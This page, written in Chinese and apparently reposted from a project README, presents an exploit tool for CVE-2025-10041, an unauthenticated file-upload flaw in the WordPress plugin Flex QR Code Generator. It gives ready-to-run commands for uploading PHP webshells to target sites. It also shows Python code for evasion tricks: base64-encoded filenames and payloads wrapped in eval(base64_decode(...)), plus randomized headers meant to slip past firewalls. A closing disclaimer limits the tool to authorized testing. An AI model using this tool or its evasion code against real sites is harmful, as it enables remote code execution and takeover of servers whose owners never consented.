Flex QR Code Generator 漏洞利用工具 CVE-2025-10041

Flex QR Code Generator 漏洞利用工具 (CVE-2025-10041)

本项目是一个专业的安全研究工具,针对 WordPress 插件 Flex QR Code Generator 在版本 1.2.5 及更早版本中存在的严重安全漏洞(CVE-2025-10041)。该漏洞源于 save_qr_code_to_db() 函数缺少对上传文件类型的有效验证,允许未经身份验证的攻击者上传任意文件,从而实现远程代码执行(RCE)。

功能特性

  • 任意文件上传:核心利用功能,支持上传 PHP WebShell 及其他恶意文件。
  • 多重编码绕过
    • 文件名编码 :支持 Base64 和 URL 编码,以绕过基于文件名(如 .php 后缀)的简单过滤。
    • 内容编码 :支持将恶意代码(如 PHP Shell)进行 Base64 编码并包装在 eval(base64_decode(...)) 中,以绕过简单的恶意内容特征检测。
  • 网络层绕过
    • 随机化 HTTP 头:自动轮换 User-Agent、Referer 和 Cookie,以规避基于请求签名的低级 WAF 规则。
    • 自定义请求头支持:允许高级用户添加自定义 HTTP 头,用于应对更复杂的访问控制或绕过场景。
  • 友好的命令行界面:提供完整的参数解析和帮助信息,便于使用和集成。

安装指南

环境要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆或下载项目代码 :将本项目脚本 CVE-2025-10041.py 保存到您的本地工作目录。

  2. 安装依赖:在终端中执行以下命令,安装所需的 Python 库。

    bash 复制代码
    pip install requests

使用说明

基本语法

bash 复制代码
python3 CVE-2025-10041.py -u <目标URL> [选项]

基础用法

1. 基本漏洞利用

检测并尝试上传默认的 shell.php 到目标站点。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com

2. 使用文件名编码

通过 --encode_filename 参数对 WebShell 文件名进行 Base64 或 URL 编码。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --encode_filename base64
python3 CVE-2025-10041.py -u http://target.com --encode_filename url

3. 使用内容编码

通过 --encode_content 参数对 WebShell 内容进行 Base64 编码,以规避内容过滤。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --encode_content base64

4. 指定自定义 Shell 文件名

使用 --shellname 参数自定义上传的 WebShell 文件名。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --shellname myevil.php

5. 组合高级选项

将多个绕过技巧组合使用。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --encode_content base64 --encode_filename base64 --shellname myevil.php

6. 添加自定义请求头

使用 --headers 参数添加一个或多个自定义 HTTP 头。

bash 复制代码
python3 CVE-2025-10041.py -u http://target.com --headers "X-Forwarded-For: 127.0.0.1" "Cookie: PHPSESSID=1337"

7. 查看完整帮助

bash 复制代码
python3 CVE-2025-10041.py --help

核心代码

漏洞检测模块

python 复制代码
    try:
        resp = requests.get(url, headers=headers, timeout=10)
        if resp.status_code == 200 and "Version: 1.2.5" in resp.text:
            return True
    except Exception:
        pass
    return False

编码绕过模块

该模块提供了文件名和内容的多种编码方式。encode_filename 支持 Base64 和 URL 编码,encode_content 可将 PHP 代码进行 Base64 编码并放入 eval() 中执行,用于绕过简单的黑名单检测。

python 复制代码
def encode_filename(filename, method):
    if method == "base64":
        encoded = base64.urlsafe_b64encode(filename.encode()).decode()
        return encoded.replace("=", "")
    elif method == "url":
        return urllib.parse.quote(filename)
    return filename

def encode_content(content, method):
    if method == "base64":
        encoded = base64.b64encode(content.encode()).decode()
        return f"<?php eval(base64_decode('{encoded}')); ?>"
    return content

HTTP 头随机化模块

为每次请求生成随机化的 HTTP 头,包括 User-Agent、Referer 和 Cookie,以模拟不同客户端行为,绕过简单的 WAF 规则。

python 复制代码
def random_headers(custom_headers=None):
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
        "Mozilla/5.0 (Linux; Android 10)",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)",
        "Mozilla/5.0 (Nxploited)"
    ]
    referers = [
        "https://google.com",
        "https://bing.com",
        "https://facebook.com",
        "https://twitter.com",
        "https://evil.com"
    ]
    headers = {
        "User-Agent": random.choice(user_agents),
        "Accept": "*/*",
        "Connection": "close",
        "Referer": random.choice(referers),
        "Cookie": f"wp_nonce={random.randint(100000,999999)}; test={random.randint(1,9999)}"
    }
    if custom_headers:
        headers.update(custom_headers)
    return headers

⚠️ 免责声明

本工具及其代码仅供教育、科研和获得明确授权的渗透测试 使用。严禁在未经目标系统所有者明确书面授权的情况下使用本工具进行任何形式的攻击或入侵行为。使用者须遵守所在地法律法规,因不当使用本工具而产生的一切后果均由使用者本人承担,作者(Nxploited / Khaled Alenazi)及本项目维护者不承担任何责任。 6HFtX5dABrKlqXeO5PUv/1h8+VvHkOyDf8nSFwj6pWk=

相关推荐
TMT星球36 分钟前
虎鲸文娱春苗编剧计划全面升级,已孵化20个剧本进入前期开发
大数据·人工智能
奔跑中的小象7 小时前
统信UOS + 天数AI卡部署SGLang服务手册
人工智能·uos·sglang·天数智芯
DevSecOps选型指南7 小时前
中国版Mythos,为何是悬镜安全灵脉CodeAI?
人工智能·安全
Shockang7 小时前
LangGraph 状态机实战
人工智能
刹那芳华19927 小时前
循环神经网络的从零开始实现(RNN)
人工智能·rnn·深度学习
阿童木写作8 小时前
跨境图片翻译工具多合一,批量图片视频字幕翻译加智能抠图
人工智能·python·音视频·语音识别
科技之门8 小时前
AI3D从建模到贴图、绑骨和动画的完整流程怎么做?V2Fun完整工作流指南
人工智能·3d·贴图
宇宙第一小趴菜8 小时前
二、机器学习的应用领域和发展史
人工智能·机器学习
前端开发江鸟8 小时前
我写过 MCP Server,却一直以为 MCP 只有 Tool
人工智能